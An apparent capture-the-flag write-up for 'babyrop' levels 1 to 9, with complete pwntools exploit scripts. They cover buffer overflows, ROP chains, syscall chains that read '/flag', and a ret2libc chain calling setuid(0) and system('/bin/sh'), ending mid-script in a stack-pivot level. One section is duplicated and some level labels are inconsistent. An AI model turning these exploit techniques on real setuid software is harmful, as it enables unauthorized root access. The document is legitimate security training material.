# Babyrop_level1 ## Level 1.0 ![image](https://hackmd.io/_uploads/H1fDDA0g0.png) - It gives me full information; however, I will debug it to be legit=)). ![image](https://hackmd.io/_uploads/HJ35wCRl0.png) - ![image](https://hackmd.io/_uploads/Sy86DAAeR.png) - offset: 152 - address of win: 0x401fca ***I will add ret gadget to avoid the stack alignment.*** ![image](https://hackmd.io/_uploads/ryDsYRCx0.png) - ![image](https://hackmd.io/_uploads/r1V3KCClC.png) **My script** ```python= from pwn import * offset = b'A'*152 win = p64(0x401fca) ret = p64(0x40101a) payload = offset payload += ret payload += win print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level1.0') r.sendline(payload) r.interactive() ``` ## Level 1.1 ![image](https://hackmd.io/_uploads/S1ZRWjlW0.png) It doesn't show me anything; however, my work is totally similar to level 1.0. **My script** ```python= from pwn import * offset = b'A'*104 win = p64(0x40199c) ret = p64(0x40101a) payload = offset payload += ret payload += win print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level1.1') r.recvuntil(b'###\n') r.sendline(payload) r.interactive() ``` # Babyrop_level2 ## The useful knowledge [lseek](https://www.tutorialspoint.com/unix_system_calls/lseek.htm) [man lseek](https://www.man7.org/linux/man-pages/man2/lseek.2.html) ![image](https://hackmd.io/_uploads/SJ-NjGZWC.png) ## Level 2.1 ![image](https://hackmd.io/_uploads/rkJMNjg-A.png) **It gives me full information; however, I will debug it to be legit=)).** ![image](https://hackmd.io/_uploads/rJb_PdbbR.png) - ![image](https://hackmd.io/_uploads/rypdwdZbA.png) ![image](https://hackmd.io/_uploads/rJsD4igWR.png) ![image](https://hackmd.io/_uploads/Sy93EoeZ0.png) **I will check win_stage_1 and win_stage_2** ![image](https://hackmd.io/_uploads/SJzEYf-W0.png) ![image](https://hackmd.io/_uploads/By1HYf-ZA.png) Hmmmm, it is so complicated and unclear. Therefore, I will download the file challenge and use IDA to check it clearly. ![image](https://hackmd.io/_uploads/S1T3FfZWA.png) - First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that - `v3 = strlen("content in fileflag")/2 ` - I will call the length in "/flag": len - Then, it move the pointer to the beginning of file "/flag" - Afterward, It read `len / 2` from the beginning of the file to buf - Finally, it will write buf to stdout. - **So, I only have the half of flag** ![image](https://hackmd.io/_uploads/HJgRYGZZC.png) - First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that - `v3 = strlen("content in fileflag")/2 ` - I will call the length in "/flag": len - Then, it move the pointer to the middle of file "/flag" - Afterward, It read `len / 2` from the beginning of the file to buf - Finally, it will write buf to stdout. - **So, I only have the end half of flag** **I must call both win_stage_1 and win_stage_2 to have full flag** **My script** ```py= from pwn import * offset = b'A'*120 win_1 = p64(0x40261e) win_2 = p64(0x4026cb) ret = p64(0x40101a) payload = offset payload += ret payload += win_1 payload += win_2 print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level2.0') r.recvuntil(b'address).\n') r.sendline(payload) r.interactive() ``` ## Level 2.2 ![image](https://hackmd.io/_uploads/rypnUdWWR.png) It doesn't show me anything; however, my work is totally similar to level 2.0. **My script** ```python= from pwn import * offset = b'A'*88 win_1 = p64(0x40222d) win_2 = p64(0x4022da) ret = p64(0x40101a) payload = offset payload += ret payload += win_1 payload += win_2 print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level2.1') r.recvuntil(b'###\n') r.sendline(payload) r.interactive() ``` # Babyrop_level2 ## The useful knowledge [lseek](https://www.tutorialspoint.com/unix_system_calls/lseek.htm) [man lseek](https://www.man7.org/linux/man-pages/man2/lseek.2.html) ![image](https://hackmd.io/_uploads/SJ-NjGZWC.png) ## Level 2.1 ![image](https://hackmd.io/_uploads/rkJMNjg-A.png) **It gives me full information; however, I will debug it to be legit=)).** ![image](https://hackmd.io/_uploads/rJb_PdbbR.png) - ![image](https://hackmd.io/_uploads/rypdwdZbA.png) ![image](https://hackmd.io/_uploads/rJsD4igWR.png) ![image](https://hackmd.io/_uploads/Sy93EoeZ0.png) **I will check win_stage_1 and win_stage_2** ![image](https://hackmd.io/_uploads/SJzEYf-W0.png) ![image](https://hackmd.io/_uploads/By1HYf-ZA.png) Hmmmm, it is so complicated and unclear. Therefore, I will download the file challenge and use IDA to check it clearly. ![image](https://hackmd.io/_uploads/S1T3FfZWA.png) - First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that - `v3 = strlen("content in fileflag")/2 ` - I will call the length in "/flag": len - Then, it move the pointer to the beginning of file "/flag" - Afterward, It read `len / 2` from the beginning of the file to buf - Finally, it will write buf to stdout. - **So, I only have the half of flag** ![image](https://hackmd.io/_uploads/HJgRYGZZC.png) - First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that - `v3 = strlen("content in fileflag")/2 ` - I will call the length in "/flag": len - Then, it move the pointer to the middle of file "/flag" - Afterward, It read `len / 2` from the beginning of the file to buf - Finally, it will write buf to stdout. - **So, I only have the end half of flag** **I must call both win_stage_1 and win_stage_2 to have full flag** **My script** ```python= from pwn import * offset = b'A'*120 win_1 = p64(0x40261e) win_2 = p64(0x4026cb) ret = p64(0x40101a) payload = offset payload += ret payload += win_1 payload += win_2 print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level2.0') r.recvuntil(b'address).\n') r.sendline(payload) r.interactive() ``` ## Level 2.2 ![image](https://hackmd.io/_uploads/rypnUdWWR.png) It doesn't show me anything; however, my work is totally similar to level 2.0. **My script** ```python= from pwn import * offset = b'A'*88 win_1 = p64(0x40222d) win_2 = p64(0x4022da) ret = p64(0x40101a) payload = offset payload += ret payload += win_1 payload += win_2 print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level2.1') r.recvuntil(b'###\n') r.sendline(payload) r.interactive() ``` # Babyrop_level3 ## The useful knowledge [Calling convention](https://stackoverflow.com/questions/2535989/what-are-the-calling-conventions-for-unix-linux-system-calls-and-user-space-f) ## Level 3.0 ![image](https://hackmd.io/_uploads/HkaEQU7bC.png) **It gives me full information; however, I will debug it to be legit=)).** ![image](https://hackmd.io/_uploads/r1j2mL7WA.png) ![image](https://hackmd.io/_uploads/BytR7LQ-0.png) - ![image](https://hackmd.io/_uploads/S1S14IQb0.png) ![image](https://hackmd.io/_uploads/Syie48XWR.png) - ![image](https://hackmd.io/_uploads/HyQwN87W0.png) ![image](https://hackmd.io/_uploads/HyqMEL7bA.png) - ![image](https://hackmd.io/_uploads/BJNO4L7WA.png) ![image](https://hackmd.io/_uploads/ryXKEI7ZR.png) - ![image](https://hackmd.io/_uploads/S1ecELXW0.png) ![image](https://hackmd.io/_uploads/H1gi48m-A.png) - ![image](https://hackmd.io/_uploads/S1-nE8QZC.png) **Each win_stage_* divides my content into the file "/flag", so I must call both of them to get the flag* **However, I need to pass agrument to each function. Acccording to the calling convention** ``` The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9. ``` **, I need pass the agrument to rdi** ### Find the information ![image](https://hackmd.io/_uploads/B1qi88XWR.png) - `offset: 104` ![image](https://hackmd.io/_uploads/S1gCULXZ0.png) - ![image](https://hackmd.io/_uploads/Skv0IUQ-C.png) ![image](https://hackmd.io/_uploads/SyyXvUXZR.png) - ![image](https://hackmd.io/_uploads/BkSQw87-R.png) **My script** ```python= from pwn import * offset = b'A'*104 win_stage_1 = p64(0x4023d9) win_stage_2 = p64(0x402760) win_stage_3 = p64(0x402598) win_stage_4 = p64(0x40267a) win_stage_5 = p64(0x4024b5) poprdi_ret = p64(0x402b53) ret = p64(0x40101a) payload = offset payload += ret payload += poprdi_ret payload += p64(1) payload += win_stage_1 payload += poprdi_ret payload += p64(2) payload += win_stage_2 payload += poprdi_ret payload += p64(3) payload += win_stage_3 payload += poprdi_ret payload += p64(4) payload += win_stage_4 payload += poprdi_ret payload += p64(5) payload += win_stage_5 r = process('/challenge/babyrop_level3.0') r.recvuntil(b'return address).\n') r.sendline(payload) r.interactive() ``` ## Level 3.1 ![image](https://hackmd.io/_uploads/S1pH7PmZR.png) It doesn't show me anything; however, my work is totally similar to level 3.0. **My script** ```python= from pwn import * offset = b'A'*40 win_stage_1 = p64(0x4018f7) win_stage_2 = p64(0x40164f) win_stage_3 = p64(0x401815) win_stage_4 = p64(0x40172f) win_stage_5 = p64(0x40156c) poprdi_ret = p64(0x401b33) ret = p64(0x40101a) payload = offset payload += ret payload += poprdi_ret payload += p64(1) payload += win_stage_1 payload += poprdi_ret payload += p64(2) payload += win_stage_2 payload += poprdi_ret payload += p64(3) payload += win_stage_3 payload += poprdi_ret payload += p64(4) payload += win_stage_4 payload += poprdi_ret payload += p64(5) payload += win_stage_5 r = process('/challenge/babyrop_level3.1') r.recvuntil(b'###\n') r.sendline(payload) r.interactive() ``` # Babyrop_level4 ## Level 4.0 ![image](https://hackmd.io/_uploads/S1qKyyEbA.png) - It gives me the information about the address of my input in stack ![image](https://hackmd.io/_uploads/SkgAJJVb0.png) - ![image](https://hackmd.io/_uploads/rJS1lyNbC.png) I don't see the useful information to get the flag; so, I need to check the gadget ![image](https://hackmd.io/_uploads/Hy6rxkEb0.png) ![image](https://hackmd.io/_uploads/ryAIxkVb0.png) ![image](https://hackmd.io/_uploads/BkqOgyNbR.png) ![image](https://hackmd.io/_uploads/BJPFxJ4W0.png) *No function can be used for getting the flag, so I must find the gadget or something to do it.* ![image](https://hackmd.io/_uploads/HJtgbJNWA.png) ![image](https://hackmd.io/_uploads/H14YZkNZR.png) ![image](https://hackmd.io/_uploads/HJzc-y4ZA.png) ![image](https://hackmd.io/_uploads/H1tqWJEZR.png) ![image](https://hackmd.io/_uploads/rkkiZyVWR.png) ***I will pass the string "/flag" somewhere in the stack, where I know the address of it, to make the pointer for the agrument when I use syscall*** - Such as the address start from my input ### The ~~trick~~ approach **Hmm, i think about the syscall, such as open, read and write the flag** ***However, I can't find the useful gadget to get the file descriptor from register rax ro rdi for my read syscall*** - ![image](https://hackmd.io/_uploads/S1lKqkVW0.png) - ![image](https://hackmd.io/_uploads/rk6K9yNW0.png) - ![image](https://hackmd.io/_uploads/S1cqq1EWC.png) **Thus, I find many ways to do read syscall, but it doesn't work.** [man open(2)](https://www.man7.org/linux/man-pages/man2/open.2.html#RETURN_VALUE) ![image](https://hackmd.io/_uploads/rJx8YkEbA.png) **So, I try to pass file descriptor is 3. Luckily, it is successful.** ```python= from pwn import * context.log_level = 'debug' offset = b'a' * 64 #72 is offset between buf and ret addr poprax_ret = p64(0x4026db) poprdi_ret = p64(0x4026bb) poprsi_ret = p64(0x4026e3) poprdx_ret = p64(0x4026c3) syscall = p64(0x4026eb) r = process('/challenge/babyrop_level4.0') r.recvuntil(b'[LEAK] Your input buffer is located at:') buf = int(r.recvn(15), 16) #also the address of /flag print(f'Buf: {hex(buf)}') payload = b'/flag\x00\x00\x00' #null byte to get the correct string payload += offset #I will open '/flag' payload += poprax_ret payload += p64(0x02) #syscall open payload += poprdi_ret payload += p64(buf) #pointer to string payload += poprsi_ret payload += p64(0) payload += syscall #I will read '/flag' and save it to the stack, I think it may be after buf, addr of it: buf + 0x8 payload += poprdi_ret payload += p64(3) #I guess file descriptor will return value 3 payload += poprsi_ret payload += p64(buf + 0x8) #I will get the content in "/flag" into this address payload += poprax_ret payload += p64(0) #syscall read payload += poprdx_ret payload += p64(100) #the size I want to read payload += syscall #Afterwards, I will print it payload += poprax_ret payload += p64(0x01) #syscall write payload += poprdi_ret #stdout payload += p64(1) payload += poprsi_ret payload += p64(buf + 0x8) #the address save my buf which contain flag payload += poprdx_ret payload += p64(100) #size to write payload += syscall r.recvuntil(b'\n') with open("run", 'wb') as file: file.write(payload) r.sendline(payload) r.interactive() ``` ### The approach ***I will use chmod syscall; afterward, I will cat "/flag"*** [man chmod(1)](https://www.man7.org/linux/man-pages/man1/chmod.1.html) ![image](https://hackmd.io/_uploads/rkVIo14W0.png) ```python= from pwn import * context.log_level = 'debug' offset = b'a' * 64 #72 is offset between buf and ret addr #push rax ; add dil, dil ; loopne 0x401275 ; nop ; ret pushrax_some = p64(0x401209) poprax_ret = p64(0x4026db) poprdi_ret = p64(0x4026bb) poprsi_ret = p64(0x4026e3) poprdx_ret = p64(0x4026c3) syscall = p64(0x4026eb) r = process('/challenge/babyrop_level4.0') r.recvuntil(b'[LEAK] Your input buffer is located at:') buf = int(r.recvn(15), 16) #also the address of /flag print(f'Buf: {hex(buf)}') payload = b'/flag\x00\x00\x00' payload += offset #I will open '/flag' payload += poprax_ret payload += p64(0x5a) #chmod syscall payload += poprdi_ret payload += p64(buf) #pointer string payload += poprsi_ret payload += p64(0x4) #mode for chmod payload += syscall r.recvuntil(b'\n') with open("run", 'wb') as file: file.write(payload) r.sendline(payload) r.interactive() ``` ## Level 4.1 It doesn't show me anything; however, my work is totally similar to level 4.0. ***open, read, write syscall*** ```python= from pwn import * context.log_level = 'debug' offset = b'a' * 48 #56 is offset between buf and ret addr poprax_ret = p64(0x401aee) poprdi_ret = p64(0x401b15) poprsi_ret = p64(0x401af5) poprdx_ret = p64(0x401ae5) syscall = p64(0x401afd) r = process('/challenge/babyrop_level4.1') r.recvuntil(b'[LEAK] Your input buffer is located at:') buf = int(r.recvn(15), 16) #also the address of /flag print(f'Buf: {hex(buf)}') payload = b'/flag\x00\x00\x00' #null byte to get the correct string payload += offset #I will open '/flag' payload += poprax_ret payload += p64(0x02) #syscall open payload += poprdi_ret payload += p64(buf) #pointer to string payload += poprsi_ret payload += p64(0) payload += syscall #I will read '/flag' and save it to the stack, I think it may be after buf, addr of it: buf + 0x8 payload += poprdi_ret payload += p64(3) #I guess file descriptor will return value 3 payload += poprsi_ret payload += p64(buf + 0x8) #I will get the content in "/flag" into this address payload += poprax_ret payload += p64(0) #syscall read payload += poprdx_ret payload += p64(100) #the size I want to read payload += syscall #Afterwards, I will print it payload += poprax_ret payload += p64(0x01) #syscall write payload += poprdi_ret #stdout payload += p64(1) payload += poprsi_ret payload += p64(buf + 0x8) #the address save my buf which contain flag payload += poprdx_ret payload += p64(100) #size to write payload += syscall r.recvuntil(b'\n') with open("run", 'wb') as file: file.write(payload) r.sendline(payload) r.interactive() ``` ***chmod syscall*** ```python= from pwn import * context.log_level = 'debug' offset = b'a' * 48 #56 is offset between buf and ret addr poprax_ret = p64(0x401aee) poprdi_ret = p64(0x401b15) poprsi_ret = p64(0x401af5) poprdx_ret = p64(0x401ae5) syscall = p64(0x401afd) r = process('/challenge/babyrop_level4.1') r.recvuntil(b'[LEAK] Your input buffer is located at:') buf = int(r.recvn(15), 16) #also the address of /flag print(f'Buf: {hex(buf)}') payload = b'/flag\x00\x00\x00' #null byte to get the correct string payload += offset #I will open '/flag' payload += poprax_ret payload += p64(0x02) #syscall open payload += poprdi_ret payload += p64(buf) #pointer to string payload += poprsi_ret payload += p64(0) payload += syscall payload = b'/flag\x00\x00\x00' payload += offset #I will open '/flag' payload += poprax_ret payload += p64(0x5a) #chmod syscall payload += poprdi_ret payload += p64(buf) #pointer string payload += poprsi_ret payload += p64(0x4) payload += syscall r.recvuntil(b'\n') with open("run", 'wb') as file: file.write(payload) r.sendline(payload) r.interactive() ``` # Babyrop_level5 ## Level 5.0 ***Let's check the gadget*** ![image](https://hackmd.io/_uploads/Hkea6BL-C.png) ![image](https://hackmd.io/_uploads/BykRpBLbC.png) ![image](https://hackmd.io/_uploads/r1dk0rI-A.png) ![image](https://hackmd.io/_uploads/HyDg0rLZA.png) ![image](https://hackmd.io/_uploads/rkdbRBUZ0.png) - ![image](https://hackmd.io/_uploads/r1ovAHL-R.png) - ![image](https://hackmd.io/_uploads/B1V_CBI-R.png) - ![image](https://hackmd.io/_uploads/Sy6OCHI-R.png) - ![image](https://hackmd.io/_uploads/SydF0SLZ0.png) - ![image](https://hackmd.io/_uploads/HkPcRrUWR.png) ### The uncompleted approach ![image](https://hackmd.io/_uploads/r1xfUpHLbC.png) As you see, ***there are no stack leaks and ASLR is enable*** ![image](https://hackmd.io/_uploads/r14nGUIZ0.png) However, I see the useful gadget to pass my input to the address. I don't know the address of stack, so I try to check the other region. ![image](https://hackmd.io/_uploads/Bkgwy8Lb0.png) `.data: 0x0000000000404078` ![image](https://hackmd.io/_uploads/BJB6S8UbA.png) **In debug** - ![image](https://hackmd.io/_uploads/BJ3pZLUZ0.png) *So, I pick the address 0x4040ff for my "/flag" and open, read, and write a system call like in the previous challenge.* ```python= from pwn import * context.log_level = 'debug' offset = b'a'*88 #"/flag": 0x2f666c6167 flag = [0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00] #.data = 0x404078 Data = 0x4040ff #0x000000000040127b : add byte ptr [rcx], al ; pop rbp ; ret add_rcx_al = p64(0x40127b) ret = p64(0x40101a) poprax_ret = p64(0x401c28) poprdi_ret = p64(0x401c60) poprsi_ret = p64(0x401c58) poprdx_ret = p64(0x401c38) poprcx_ret = p64(0x401c49) syscall = p64(0x401c30) payload = offset payload += ret for i in range (8): payload += poprcx_ret payload += p64(Data + i) payload += poprax_ret payload += p64(flag[i]) payload += add_rcx_al payload += p64(0) #rbp #open "/flag" payload += poprax_ret payload += p64(0x02) #open syscall payload += poprdi_ret payload += p64(Data) #pointer to string payload += poprsi_ret payload += p64(0) payload += syscall #read "/flag" to somewhere in data region, buf payload += poprax_ret payload += p64(0) payload += poprdi_ret payload += p64(3) payload += poprsi_ret payload += p64(Data + 0xf) payload += poprdx_ret payload += p64(100) payload += syscall #write buf to stdout payload += poprax_ret payload += p64(0x1) payload += poprdi_ret payload += p64(3) payload += poprsi_ret payload += p64(Data + 0xf) payload += poprdx_ret payload += p64(100) payload += syscall r = process('/challenge/babyrop_level5.0') r.recvuntil(b'Return Oriented Programming!\n') r.sendline(payload) r.interactive() ``` One of the ouputs I receive ![image](https://hackmd.io/_uploads/r16JHLLZA.png) I don't know why it contains those instructions; therefore, I try to go with the bigger offset `0x4041ff`. ![image](https://hackmd.io/_uploads/H12ABIU-R.png) It still doesn't work I have tried and tried to find other writeable space, but there is no hope!!! ~~I was stuck and panic.~~ ### The approach After many attempts to think about this challenge, I have succeeded. ***I will use libc to do my work. I think about using system() to get the shell with root permission.*** The interesting is that ***root permission*** How can do it??? I see **setuid** ![image](https://hackmd.io/_uploads/BySF6U8WA.png) ![image](https://hackmd.io/_uploads/H1xha8IW0.png) I find some informations about this, and take the reuslt. [setuid(0) fails to execute for root owned program](https://stackoverflow.com/questions/28395862/setuid0-fails-to-execute-for-root-owned-program) ![image](https://hackmd.io/_uploads/SyqQ08U-C.png) - It will be successful if the program has this ![image](https://hackmd.io/_uploads/S15uAUIZA.png) Okeyyyyy, it is possible to do it. #### ***How do I find the address?*** - I will leak the address of puts() relying on puts_plt and puts_got. Next, we will find the address of string "/bin/sh", system(), setuid() depend the offset between them and the address of puts, and use them. ![image](https://hackmd.io/_uploads/SkT5kP8ZC.png) So, I will find the information in `/lib/x86_64-linux-gnu/libc.so.6` ![image](https://hackmd.io/_uploads/ByAllDIW0.png) - `puts_got: 0x404028` ![image](https://hackmd.io/_uploads/HkZ-bwUZC.png) - `puts_plt : 0x401110` ```python= from pwn import * context.log_level = 'debug' offset = b'a'*88 puts_plt = p64(0x401110) puts_got = p64(0x404028) ret = p64(0x40101a) poprax_ret = p64(0x401c28) poprdi_ret = p64(0x401c60) poprsi_ret = p64(0x401c58) poprdx_ret = p64(0x401c38) syscall = p64(0x401c30) payload_leak = offset payload_leak += poprdi_ret payload_leak += puts_got payload_leak += puts_plt r = process('/challenge/babyrop_level5.0') r.recvuntil(b'Return Oriented Programming!\n') r.sendline(payload_leak) r.interactive() ``` ![image](https://hackmd.io/_uploads/BJA3xHP-C.png) Okey, it leaks for me the address of puts; I will take it as the hex value ```python= def bytes_to_hex(data): """Converts bytes to a hex and reverses the byte order. Args: data: A byte string. Returns: A hex with the byte order reversed. """ return int(''.join(['{:02x}'.format(b) for b in reversed(data)]), 16) ``` ```python= from pwn import * def bytes_to_hex(data): """Converts bytes to a hex and reverses the byte order. Args: data: A byte string. Returns: A hex with the byte order reversed. """ return int(''.join(['{:02x}'.format(b) for b in reversed(data)]), 16) context.log_level = 'debug' offset = b'a'*88 puts_plt = p64(0x401110) puts_got = p64(0x404028) ret = p64(0x40101a) poprax_ret = p64(0x401c28) poprdi_ret = p64(0x401c60) poprsi_ret = p64(0x401c58) poprdx_ret = p64(0x401c38) syscall = p64(0x401c30) payload_leak = offset payload_leak += poprdi_ret payload_leak += puts_got payload_leak += puts_plt r = process('/challenge/babyrop_level5.0') r.recvuntil(b'Return Oriented Programming!\n') r.sendline(payload_leak) r.recvuntil(b'Leaving!\n') addr_puts_byte = r.recv(6) addr_puts = bytes_to_hex(addr_puts_byte) print(f"LEAKKKKKKKKKK {addr_puts_byte} : {hex(addr_puts)}") r.interactive() ``` ![image](https://hackmd.io/_uploads/BJQDWHvbR.png) #### Hmmm, however, I only have one input What happens if I call the main again? This idea sound good. ![image](https://hackmd.io/_uploads/ByRXMHPZA.png) ```python= payload_leak = offset payload_leak += poprdi_ret payload_leak += puts_got payload_leak += puts_plt payload_leak += main #0x401d88 r = process('/challenge/babyrop_level5.0') r.recvuntil(b'Return Oriented Programming!\n') r.sendline(payload_leak) r.recvuntil(b'Leaving!\n') addr_puts_byte = r.recv(6) addr_puts = bytes_to_hex(addr_puts_byte) print(f"LEAKKKKKKKKKK {addr_puts_byte} : {hex(addr_puts)}") r.recvuntil(b'Return Oriented Programming!\n') r.sendline(b'a'*10) r.interactive() ``` ![image](https://hackmd.io/_uploads/SkpAMBDWR.png) ***It seems that I call the main again unsuccessful.*** I have spent many time for this, and have the result. I use IDA to see this, `View -> Graphs -> Function calls` ![image](https://hackmd.io/_uploads/BJr8XSwZC.png) ***I try with _start and it works.*** ![image](https://hackmd.io/_uploads/By8aXSvZC.png) ![image](https://hackmd.io/_uploads/ryxWNHv-R.png) #### Okey, I will find the offset between puts and others ![image](https://hackmd.io/_uploads/Bk55evU-R.png) - `offset of puts in libc: 0x84420` ![image](https://hackmd.io/_uploads/SJFVbv8WR.png) - `offset of system in libc: 0x52290` ![image](https://hackmd.io/_uploads/HktyMwLZR.png) - `offset of "/bin/sh" in libc: 0x1b45bd` ![image](https://hackmd.io/_uploads/ryO9ErwWC.png) - `offset of setuid in libc: 0xe4150` ***The step*** - Leak the address of puts() relying on puts_plt and puts_got. - Rewind the main. - Find the address of string "/bin/sh", system(), setuid() depend the offset between them and the address of puts. - Call them ***My script*** ```python= from pwn import * def bytes_to_hex(data): """Converts bytes to a hex and reverses the byte order. Args: data: A byte string. Returns: A hex with the byte order reversed. """ return int(''.join(['{:02x}'.format(b) for b in reversed(data)]), 16) context.log_level = 'debug' offset = b'a'*88 puts_plt = p64(0x401110) puts_got = p64(0x404028) main = p64(0x4011b0) ret = p64(0x40101a) poprax_ret = p64(0x401c28) poprdi_ret = p64(0x401c60) poprsi_ret = p64(0x401c58) poprdx_ret = p64(0x401c38) syscall = p64(0x401c30) #0000000000052290 <__libc_system@@GLIBC_PRIVATE> system_libc_offset = 0x52290 #0000000000084420 <_IO_puts@@GLIBC_2.2.5>: puts_libc_offset = 0x84420 #00000000000e4150 <setuid@@GLIBC_2.2.5> setuid_libc_offset = 0xe4150 #"/bin/sh" binsh_libc_offset = 0x1b45bd payload_leak = offset payload_leak += poprdi_ret payload_leak += puts_got payload_leak += puts_plt payload_leak += main r = process('/challenge/babyrop_level5.0') r.recvuntil(b'Return Oriented Programming!\n') r.sendline(payload_leak) r.recvuntil(b'Leaving!\n') addr_puts_byte = r.recv(6) addr_puts = bytes_to_hex(addr_puts_byte) print(f"LEAKKKKKKKKKK {addr_puts_byte} : {hex(addr_puts)}") addr_system = addr_puts - puts_libc_offset + system_libc_offset addr_binsh = addr_puts - puts_libc_offset + binsh_libc_offset addr_setuid = addr_puts - puts_libc_offset + setuid_libc_offset r.recvuntil(b'Return Oriented Programming!\n') payload = offset payload += poprdi_ret payload += p64(0) payload += p64(addr_setuid) payload += poprdi_ret payload += p64(addr_binsh) payload += p64(addr_system) r.sendline(payload) r.interactive() ``` ## Level 5.1 It is totally similar to level 5.0; however, to make it simple, I will use the power of pwntools to write my script. ```python= from pwn import * context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level5.1', checksec=False) libc = exe.libc r = process(exe.path) rop1 = ROP(exe) #offset: 72 puts_got = exe.got['puts'] _start = exe.sym['_start'] #Rop gadget rop1.raw('A'*72) rop1.puts(puts_got) rop1.raw(p64(_start)) log.info("The address of _start: " + hex(_start)) log.info("Dump ropchain: " + rop1.dump()) r.send(rop1.chain()) r.recvuntil(b'Leaving!\n') #puts_got_addr = int.from_bytes(r.recvn(8), 'little') puts_got_addr = u64(r.recvn(6) + b'\x00\x00') log.info("The address of puts_got: " + hex(puts_got_addr)) libc.address = puts_got_addr - libc.sym['puts'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of \"/bin/sh\": " + hex(binsh)) rop2 = ROP(libc) rop2.raw('A'*72) rop2.setuid(0) rop2.system(binsh) print(rop2.dump()) r.send(rop2.chain()) r.interactive() ``` # Babyrop_level6 It is totally similar to level 5; however, to make it simple, I will use the power of pwntools to write my script. ## Level 6.0 ```python= from pwn import * context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level6.0', checksec=False) libc = exe.libc r = process(exe.path) rop1 = ROP(exe) #offset: 120 puts_got = exe.got['puts'] _start = exe.sym['_start'] #Rop gadget rop1.raw('A'*120) rop1.puts(puts_got) rop1.raw(p64(_start)) log.info("The address of _start: " + hex(_start)) log.info("Dump ropchain: " + rop1.dump()) r.send(rop1.chain()) r.recvuntil(b'Leaving!\n') #puts_got_addr = int.from_bytes(r.recvn(8), 'little') puts_got_addr = u64(r.recvn(6) + b'\x00\x00') log.info("The address of puts_got: " + hex(puts_got_addr)) libc.address = puts_got_addr - libc.sym['puts'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of \"/bin/sh\": " + hex(binsh)) rop2 = ROP(libc) rop2.raw('A'*120) rop2.setuid(0) rop2.system(binsh) log.info("Dump ropchain: " + rop2.dump()) r.send(rop2.chain()) r.interactive() ``` ## Level 6.1 ```python= from pwn import * context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level6.1', checksec=False) libc = exe.libc r = process(exe.path) rop1 = ROP(exe) #offset: 72 puts_got = exe.got['puts'] _start = exe.sym['_start'] #Rop gadget rop1.raw('A'*72) rop1.puts(puts_got) rop1.raw(p64(_start)) log.info("The address of _start: " + hex(_start)) log.info("Dump ropchain: " + rop1.dump()) r.send(rop1.chain()) r.recvuntil(b'Leaving!\n') #puts_got_addr = int.from_bytes(r.recvn(8), 'little') puts_got_addr = u64(r.recvn(6) + b'\x00\x00') log.info("The address of puts_got: " + hex(puts_got_addr)) libc.address = puts_got_addr - libc.sym['puts'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of \"/bin/sh\": " + hex(binsh)) rop2 = ROP(libc) rop2.raw('A'*72) rop2.setuid(0) rop2.system(binsh) log.info("Dump ropchain: " + rop2.dump()) r.send(rop2.chain()) r.interactive() ``` # Babyrop_level7 && Babyrop_level 8 **They are the same as the previous challenge =)))))** # Babyrop_level9 ## Level 9.0 It is a special challenge, I need to use stack pivot to solve this. ![image](https://hackmd.io/_uploads/S157Hw-E0.png) ![image](https://hackmd.io/_uploads/Syt8SPZNA.png) - As you see, it take input into `0x4140e0 <data+65536>`, this address is not in the stack. However, it will copy 0x18(24) bytes from this address into rbp+8(this save return address) - It means I only have 3 gadgets to run my ROPchain. ![image](https://hackmd.io/_uploads/rk1aHdWNR.png) ![image](https://hackmd.io/_uploads/H1gRSuZ40.png) ![image](https://hackmd.io/_uploads/Syg1LuZNA.png) - The useful gadget to make stack pivot. - ![image](https://hackmd.io/_uploads/B11VIuZ40.png) - ![image](https://hackmd.io/_uploads/r1XP8dWE0.png) - [Assembly x86 - "leave" Instruction](https://stackoverflow.com/questions/29790175/assembly-x86-leave-instruction) > leave is exactly equivalent to > > mov %rbp, %rsp # rsp = rbp, mov rsp,rbp in Intel syntax > pop %rbp - So, I will contol rsp to the address store my gadget. ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('./babyrop_level9.0', checksec=False) libc = exe.libc if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *challenge+281 b *challenge+481 """) else: r = process(exe.path) rop1 = ROP(exe) puts_got = exe.got['puts'] _start = exe.sym['_start'] leave_ret = 0x00000000004016ab poprbp_ret = 0x000000000040129d start_input = 0x4140e0 rop1.puts(puts_got) rop1.raw(p64(_start)) log.info("Dump ropchain: " + rop1.dump()) payload_pivot = p64(poprbp_ret) payload_pivot += p64(start_input + 16) payload_pivot += p64(leave_ret) payload_pivot += rop1.chain() log.info("The address of _start: " + hex(_start)) r.send(payload_pivot) r.recvuntil(b'Leaving!\n') #puts_got_addr = int.from_bytes(r.recvn(8), 'little') puts_got_addr = u64(r.recvn(6) + b'\x00\x00') log.info("The address of puts_got: " + hex(puts_got_addr)) libc.address = puts_got_addr - libc.sym['puts'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of \"/bin/sh\": " + hex(binsh)) rop2 = ROP(libc) rop2.setuid(0) 